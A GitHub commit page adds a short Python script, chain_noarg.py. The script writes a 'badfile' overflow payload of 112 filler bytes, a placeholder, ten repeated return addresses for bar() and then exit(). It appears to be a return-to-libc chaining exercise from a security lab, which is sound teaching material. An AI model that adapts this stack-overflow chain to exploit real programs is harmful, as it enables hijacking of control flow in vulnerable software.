We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 57f229a commit 8ce8bd8Copy full SHA for 8ce8bd8
chain_noarg.py
@@ -0,0 +1,20 @@
1
+#!/usr/bin/python3
2
+import sys
3
+
4
+def tobytes (value):
5
+ return (value).to_bytes(4,byteorder='little')
6
7
+bar_addr = 0x08048567 # Address of bar()
8
+exit_addr = 0xb7e369d0 # Address of exit()
9
10
+content = bytearray(0xaa for i in range(112))
11
+content += tobytes(0xFFFFFFFF) # This value is not important here.
12
+for i in range(10):
13
+ content += tobytes(bar_addr)
14
15
+# Invoke exit() to exit gracefully at the end
16
+content += tobytes(exit_addr)
17
18
+# Write the content to a file
19
+with open("badfile", "wb") as f:
20
+ f.write(content)
0 commit comments